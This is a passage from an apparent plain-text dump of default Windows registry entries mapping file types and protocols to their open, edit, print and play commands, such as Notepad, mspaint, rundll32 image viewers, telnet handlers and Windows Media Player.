    (Default)    REG_SZ    "%1" %*

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\pjpegfile\shell\printto\command
    (Default)    REG_EXPAND_SZ    "%SystemRoot%\System32\rundll32.exe" "%SystemRoot%\System32\shimgvw.dll",ImageView_PrintTo /pt "%1" "%2" "%3" "%4"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\pngfile\shell\printto\command
    (Default)    REG_EXPAND_SZ    "%SystemRoot%\System32\rundll32.exe" "%SystemRoot%\System32\shimgvw.dll",ImageView_PrintTo /pt "%1" "%2" "%3" "%4"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\prffile\shell\Open\command
    (Default)    REG_EXPAND_SZ    "%SystemRoot%\System32\rundll32.exe" "%SystemRoot%\System32\msrating.dll",ClickedOnPRF %1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\ratfile\Shell\Open\Command
    (Default)    REG_EXPAND_SZ    "%SystemRoot%\System32\rundll32.exe" "%SystemRoot%\System32\msrating.dll",ClickedOnRAT %1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\RDP.File\shell\Connect\command
    (Default)    REG_SZ    mstsc.exe "%1"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\RDP.File\shell\Edit\command
    (Default)    REG_SZ    mstsc.exe -edit "%1"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\RDP.File\shell\Open\command
    (Default)    REG_EXPAND_SZ    "%systemroot%\system32\mstsc.exe" "%1"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\regedit\shell\open\command
    (Default)    REG_SZ    regedit.exe "%1"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\regfile\shell\edit\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\system32\notepad.exe "%1"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\regfile\shell\open\command
    (Default)    REG_SZ    regedit.exe "%1"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\regfile\shell\print\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\system32\notepad.exe /p "%1"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\RemoteAssistance.1\Shell\open\command
    (Default)    REG_EXPAND_SZ    "%systemRoot%\system32\msra.exe" -openfile "%1"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\rlefile\shell\open\command
    (Default)    REG_EXPAND_SZ    "%systemroot%\system32\mspaint.exe" "%1"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\rlefile\shell\print\command
    (Default)    REG_EXPAND_SZ    "%systemroot%\system32\mspaint.exe" /p "%1"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\rlefile\shell\printto\command
    (Default)    REG_EXPAND_SZ    "%systemroot%\system32\mspaint.exe" /pt "%1" "%2" "%3" "%4"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\rlogin\shell\open\command
    (Default)    REG_SZ    "C:\Windows\System32\rundll32.exe" "C:\Windows\System32\url.dll",TelnetProtocolHandler %l

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\rtffile\shell\open\command
    (Default)    REG_EXPAND_SZ    "%ProgramFiles%\Windows NT\Accessories\WORDPAD.EXE" "%1"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\rtffile\shell\print\command
    (Default)    REG_EXPAND_SZ    "%ProgramFiles%\Windows NT\Accessories\WORDPAD.EXE" /p "%1"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\rtffile\shell\printto\command
    (Default)    REG_EXPAND_SZ    "%ProgramFiles%\Windows NT\Accessories\WORDPAD.EXE" /pt "%1" "%2" "%3" "%4"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SavedDsQuery\Shell\open\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\system32\rundll32.exe %SystemRoot%\system32\dsquery.dll,OpenSavedDsQuery %1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\scrfile\shell\config\command
    (Default)    REG_SZ    "%1"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\scrfile\shell\install\command
    (Default)    REG_SZ    rundll32.exe desk.cpl,InstallScreenSaver %l

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\scrfile\shell\open\command
    (Default)    REG_SZ    "%1" /S

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\scriptletfile\Shell\Generate Typelib\command
    (Default)    REG_SZ    "C:\Windows\System32\RUNDLL32.EXE" "C:\Windows\System32\scrobj.dll",GenerateTypeLib "%1"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\scriptletfile\Shell\Open\command
    (Default)    REG_SZ    "C:\Windows\System32\NOTEPAD.EXE" "%1"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\scriptletfile\Shell\Register\command
    (Default)    REG_SZ    "C:\Windows\System32\REGSVR32.EXE" /i:"%1" "C:\Windows\System32\scrobj.dll"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\scriptletfile\Shell\Unregister\command
    (Default)    REG_SZ    "C:\Windows\System32\REGSVR32.EXE" /u /n /i:"%1" "C:\Windows\System32\scrobj.dll"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\search\shell\open\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\Explorer.exe /separate,/idlist,%I,%L

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\search-ms\shell\open\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\Explorer.exe /separate,/idlist,%I,%L

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SHCmdFile\shell\open\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\explorer.exe

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Shell.CDBurn\Shell\Prepare\Command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\system32\rundll32.exe %SystemRoot%\system32\shell32.dll,PrepareDiscForBurnRunDll %L

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SPCFile\shell\add\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\system32\rundll32.exe cryptext.dll,CryptExtAddSPC %1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SPCFile\shell\open\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\system32\rundll32.exe cryptext.dll,CryptExtOpenPKCS7 %1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\svgfile\shell\open\command
    (Default)    REG_SZ    "C:\Program Files\Internet Explorer\iexplore.exe" %1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\svgfile\shell\opennew\command
    (Default)    REG_SZ    "C:\Program Files\Internet Explorer\iexplore.exe" %1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\svgfile\shell\print\command
    (Default)    REG_EXPAND_SZ    "%systemroot%\system32\rundll32.exe" "%systemroot%\system32\mshtml.dll",PrintHTML "%1"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\svgfile\shell\printto\command
    (Default)    REG_EXPAND_SZ    "%systemroot%\system32\rundll32.exe" "%systemroot%\system32\mshtml.dll",PrintHTML "%1" "%2" "%3" "%4"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.3mf\Shell\3D Edit\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\system32\mspaint.exe "%1" /ForceBootstrapPaint3D

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.avci\Shell\print\command
    (Default)    REG_EXPAND_SZ    rundll32.exe %SystemRoot%\system32\shimgvw.dll,ImageView_Fullscreen %1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.avci\Shell\setdesktopwallpaper\Command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\Explorer.exe

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.avcs\Shell\print\command
    (Default)    REG_EXPAND_SZ    rundll32.exe %SystemRoot%\system32\shimgvw.dll,ImageView_Fullscreen %1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.avcs\Shell\setdesktopwallpaper\Command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\Explorer.exe

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.avif\Shell\print\command
    (Default)    REG_EXPAND_SZ    rundll32.exe %SystemRoot%\system32\shimgvw.dll,ImageView_Fullscreen %1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.avif\Shell\setdesktopwallpaper\Command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\Explorer.exe

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.avifs\Shell\print\command
    (Default)    REG_EXPAND_SZ    rundll32.exe %SystemRoot%\system32\shimgvw.dll,ImageView_Fullscreen %1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.avifs\Shell\setdesktopwallpaper\Command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\Explorer.exe

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.bmp\Shell\3D Edit\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\system32\mspaint.exe "%1" /ForceBootstrapPaint3D

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.bmp\Shell\setdesktopwallpaper\Command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\Explorer.exe

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.dib\Shell\setdesktopwallpaper\Command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\Explorer.exe

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.fbx\Shell\3D Edit\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\system32\mspaint.exe "%1" /ForceBootstrapPaint3D

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.gif\Shell\3D Edit\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\system32\mspaint.exe "%1" /ForceBootstrapPaint3D

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.gif\Shell\setdesktopwallpaper\Command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\Explorer.exe

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.glb\Shell\3D Edit\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\system32\mspaint.exe "%1" /ForceBootstrapPaint3D

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.heic\Shell\print\command
    (Default)    REG_EXPAND_SZ    rundll32.exe %SystemRoot%\system32\shimgvw.dll,ImageView_Fullscreen %1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.heic\Shell\setdesktopwallpaper\Command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\Explorer.exe

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.heics\Shell\print\command
    (Default)    REG_EXPAND_SZ    rundll32.exe %SystemRoot%\system32\shimgvw.dll,ImageView_Fullscreen %1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.heics\Shell\setdesktopwallpaper\Command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\Explorer.exe

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.heif\Shell\print\command
    (Default)    REG_EXPAND_SZ    rundll32.exe %SystemRoot%\system32\shimgvw.dll,ImageView_Fullscreen %1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.heif\Shell\setdesktopwallpaper\Command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\Explorer.exe

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.heifs\Shell\print\command
    (Default)    REG_EXPAND_SZ    rundll32.exe %SystemRoot%\system32\shimgvw.dll,ImageView_Fullscreen %1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.heifs\Shell\setdesktopwallpaper\Command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\Explorer.exe

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.inf\shell\Install\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\System32\InfDefaultInstall.exe "%1"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.jfif\Shell\3D Edit\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\system32\mspaint.exe "%1" /ForceBootstrapPaint3D

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.jfif\Shell\setdesktopwallpaper\Command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\Explorer.exe

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.jpe\Shell\3D Edit\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\system32\mspaint.exe "%1" /ForceBootstrapPaint3D

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.jpe\Shell\setdesktopwallpaper\Command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\Explorer.exe

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.jpeg\Shell\3D Edit\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\system32\mspaint.exe "%1" /ForceBootstrapPaint3D

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.jpeg\Shell\setdesktopwallpaper\Command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\Explorer.exe

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.jpg\Shell\3D Edit\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\system32\mspaint.exe "%1" /ForceBootstrapPaint3D

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.jpg\Shell\setdesktopwallpaper\Command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\Explorer.exe

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.obj\Shell\3D Edit\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\system32\mspaint.exe "%1" /ForceBootstrapPaint3D

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.ply\Shell\3D Edit\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\system32\mspaint.exe "%1" /ForceBootstrapPaint3D

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.png\Shell\3D Edit\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\system32\mspaint.exe "%1" /ForceBootstrapPaint3D

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.png\Shell\setdesktopwallpaper\Command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\Explorer.exe

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.ps1\Shell\0\Command
    (Default)    REG_SZ    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "-Command" "if((Get-ExecutionPolicy ) -ne 'AllSigned') { Set-ExecutionPolicy -Scope Process Bypass }; & '%1'"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.ps1\Shell\Edit\Command
    (Default)    REG_SZ    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell_ise.exe" "%1"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.psd1\Shell\Edit\Command
    (Default)    REG_SZ    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell_ise.exe" "%1"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.psm1\Shell\Edit\Command
    (Default)    REG_SZ    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell_ise.exe" "%1"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.stl\Shell\3D Edit\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\system32\mspaint.exe "%1" /ForceBootstrapPaint3D

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.tif\Shell\3D Edit\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\system32\mspaint.exe "%1" /ForceBootstrapPaint3D

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.tif\Shell\setdesktopwallpaper\Command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\Explorer.exe

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.tiff\Shell\3D Edit\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\system32\mspaint.exe "%1" /ForceBootstrapPaint3D

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.tiff\Shell\setdesktopwallpaper\Command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\Explorer.exe

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.wdp\Shell\setdesktopwallpaper\Command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\Explorer.exe

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\image\shell\edit\command
    (Default)    REG_EXPAND_SZ    "%systemroot%\system32\mspaint.exe" "%1"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\image\shell\print\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\System32\rundll32.exe "%ProgramFiles%\Windows Photo Viewer\PhotoViewer.dll", ImageView_Fullscreen %1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\text\shell\edit\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\system32\NOTEPAD.EXE %1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\text\shell\open\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\system32\NOTEPAD.EXE %1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\telnet\shell\open\command
    (Default)    REG_SZ    "C:\Windows\System32\rundll32.exe" "C:\Windows\System32\url.dll",TelnetProtocolHandler %l

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\textfile\shell\open\command
    (Default)    REG_EXPAND_SZ    "%ProgramFiles%\Windows NT\Accessories\WORDPAD.EXE" "%1"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\textfile\shell\print\command
    (Default)    REG_EXPAND_SZ    "%ProgramFiles%\Windows NT\Accessories\WORDPAD.EXE" /p "%1"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\textfile\shell\printto\command
    (Default)    REG_EXPAND_SZ    "%ProgramFiles%\Windows NT\Accessories\WORDPAD.EXE" /pt "%1" "%2" "%3" "%4"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\themefile\shell\open\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\system32\rundll32.exe %SystemRoot%\system32\themecpl.dll,OpenThemeAction %1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\themepackfile\shell\open\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\system32\rundll32.exe %SystemRoot%\system32\themecpl.dll,OpenThemeAction %1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\TIFImage.Document\shell\open\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\System32\rundll32.exe "%ProgramFiles%\Windows Photo Viewer\PhotoViewer.dll", ImageView_Fullscreen %1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\TIFImage.Document\shell\printto\command
    (Default)    REG_EXPAND_SZ    "%SystemRoot%\System32\rundll32.exe" "%SystemRoot%\System32\shimgvw.dll",ImageView_PrintTo /pt "%1" "%2" "%3" "%4"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\tn3270\shell\open\command
    (Default)    REG_SZ    "C:\Windows\System32\rundll32.exe" "C:\Windows\System32\url.dll",TelnetProtocolHandler %l

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\ttcfile\shell\preview\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\System32\fontview.exe %1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\ttcfile\shell\print\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\System32\fontview.exe /p %1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\ttffile\shell\preview\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\System32\fontview.exe %1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\ttffile\shell\print\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\System32\fontview.exe /p %1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\txtfile\shell\open\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\system32\NOTEPAD.EXE %1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\txtfile\shell\print\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\system32\NOTEPAD.EXE /p %1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\txtfile\shell\printto\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\system32\notepad.exe /pt "%1" "%2" "%3" "%4"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Undecided\shell\open\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\system32\OpenWith.exe "%1"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Unknown\shell\Open\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\system32\OpenWith.exe "%1"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Unknown\shell\openas\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\system32\OpenWith.exe "%1"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Unknown\shell\OpenWithSetDefaultOn\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\system32\OpenWith.exe -override "%1"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\VBEFile\Shell\Edit\Command
    (Default)    REG_EXPAND_SZ    "%SystemRoot%\System32\Notepad.exe" %1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\VBEFile\Shell\Open\Command
    (Default)    REG_EXPAND_SZ    "%SystemRoot%\System32\WScript.exe" "%1" %*

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\VBEFile\Shell\Open2\Command
    (Default)    REG_EXPAND_SZ    "%SystemRoot%\System32\CScript.exe" "%1" %*

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\VBEFile\Shell\Print\Command
    (Default)    REG_EXPAND_SZ    "%SystemRoot%\System32\Notepad.exe" /p %1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\VBSFile\Shell\Edit\Command
    (Default)    REG_EXPAND_SZ    "%SystemRoot%\System32\Notepad.exe" %1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\VBSFile\Shell\Open\Command
    (Default)    REG_EXPAND_SZ    "%SystemRoot%\System32\WScript.exe" "%1" %*

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\VBSFile\Shell\Open2\Command
    (Default)    REG_EXPAND_SZ    "%SystemRoot%\System32\CScript.exe" "%1" %*

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\VBSFile\Shell\Print\Command
    (Default)    REG_EXPAND_SZ    "%SystemRoot%\System32\Notepad.exe" /p %1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\vcard_wab_auto_file\shell\open\command
    (Default)    REG_EXPAND_SZ    "%ProgramFiles%\Windows Mail\wab.exe" /vcard "%1"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WAB.AssocProtocol.LDAP\shell\open\command
    (Default)    REG_EXPAND_SZ    "%ProgramFiles%\Windows Mail\wab.exe" "/ldap:%1"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\wab_auto_file\shell\open\command
    (Default)    REG_EXPAND_SZ    "%ProgramFiles%\Windows Mail\wab.exe" /Import "%1"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\wbcatfile\shell\open\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\system32\sdclt.exe /restorepage

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\wcxfile\shell\Open\Command
    (Default)    REG_SZ    "C:\Windows\System32\xwizard.exe" RunWizard /u {7940acf8-60ba-4213-a7c3-f3b400ee266d} /z%1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\wdpfile\shell\print\command
    (Default)    REG_EXPAND_SZ    rundll32.exe %SystemRoot%\system32\shimgvw.dll,ImageView_Fullscreen %1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\wdpfile\shell\printto\command
    (Default)    REG_EXPAND_SZ    rundll32.exe %SystemRoot%\system32\shimgvw.dll,ImageView_PrintTo /pt "%1" "%2" "%3" "%4"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\webpnpFile\shell\open\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\system32\wpnpinst.exe %1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Windows.CompositeFont\shell\open\command
    (Default)    REG_EXPAND_SZ    "%SystemRoot%\System32\notepad.exe" "%1"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Windows.IsoFile\shell\burn\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\System32\isoburn.exe "%1"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Windows.IsoFile\shell\mount\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\Explorer.exe

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Windows.VhdFile\shell\mount\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\Explorer.exe

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Windows.XamlDocument\shell\edit\command
    (Default)    REG_EXPAND_SZ    "%SystemRoot%\System32\notepad.exe" "%1"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Windows.XamlDocument\shell\open\command
    (Default)    REG_SZ    "C:\Windows\System32\PresentationHost.exe" "%1" %*

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Windows.Xbap\shell\edit\command
    (Default)    REG_EXPAND_SZ    "%SystemRoot%\System32\notepad.exe" "%1"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Windows.Xbap\shell\open\command
    (Default)    REG_SZ    "C:\Windows\System32\PresentationHost.exe" "%1" %*

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WindowsBackupFolderOptions\shell\openDesktopIni\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\system32\sdclt.exe /FOLDEROPTIONS %1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WindowsStore.License\shell\open\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\System32\licensemanagershellext.exe "%1"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\wmffile\shell\open\command
    (Default)    REG_EXPAND_SZ    "%systemroot%\system32\mspaint.exe" "%1"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\wmffile\shell\print\command
    (Default)    REG_EXPAND_SZ    "%systemroot%\system32\mspaint.exe" /p "%1"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\wmffile\shell\printto\command
    (Default)    REG_EXPAND_SZ    "%systemroot%\system32\mspaint.exe" /pt "%1" "%2" "%3" "%4"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP.AudioCD\shell\play\command
    (Default)    REG_EXPAND_SZ    "%ProgramFiles(x86)%\Windows Media Player\wmplayer.exe" /prefetch:3 /device:AudioCD "%L"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP.BurnCD\Shell\Burn\Command
    (Default)    REG_EXPAND_SZ    "%ProgramFiles(x86)%\Windows Media Player\wmplayer.exe" /prefetch:3 /Task:CDWrite /Device:"%L"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP.DVD\shell\play\command
    (Default)    REG_EXPAND_SZ    "%ProgramFiles(x86)%\Windows Media Player\wmplayer.exe" /prefetch:4 /device:DVD "%L"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP.DVR-MSFile\shell\open\command
    (Default)    REG_EXPAND_SZ    "%ProgramFiles(x86)%\Windows Media Player\wmplayer.exe" /Open "%L"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP.DVR-MSFile\shell\play\command
    (Default)    REG_EXPAND_SZ    "%ProgramFiles(x86)%\Windows Media Player\wmplayer.exe" /Play "%L"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP.VCD\shell\play\command
    (Default)    REG_EXPAND_SZ    "%ProgramFiles(x86)%\Windows Media Player\wmplayer.exe" /prefetch:4 /device:VCD "%L"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP.WTVFile\shell\open\command
    (Default)    REG_EXPAND_SZ    "%ProgramFiles(x86)%\Windows Media Player\wmplayer.exe" /Open "%L"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP.WTVFile\shell\play\command
    (Default)    REG_EXPAND_SZ    "%ProgramFiles(x86)%\Windows Media Player\wmplayer.exe" /Play "%L"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocFile.3G2\shell\open\command
    (Default)    REG_EXPAND_SZ    "%ProgramFiles(x86)%\Windows Media Player\wmplayer.exe" /prefetch:6 /Open "%L"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocFile.3G2\shell\play\command
    (Default)    REG_EXPAND_SZ    "%ProgramFiles(x86)%\Windows Media Player\wmplayer.exe" /prefetch:6 /Play "%L"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocFile.3GP\shell\open\command
    (Default)    REG_EXPAND_SZ    "%ProgramFiles(x86)%\Windows Media Player\wmplayer.exe" /prefetch:6 /Open "%L"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocFile.3GP\shell\play\command
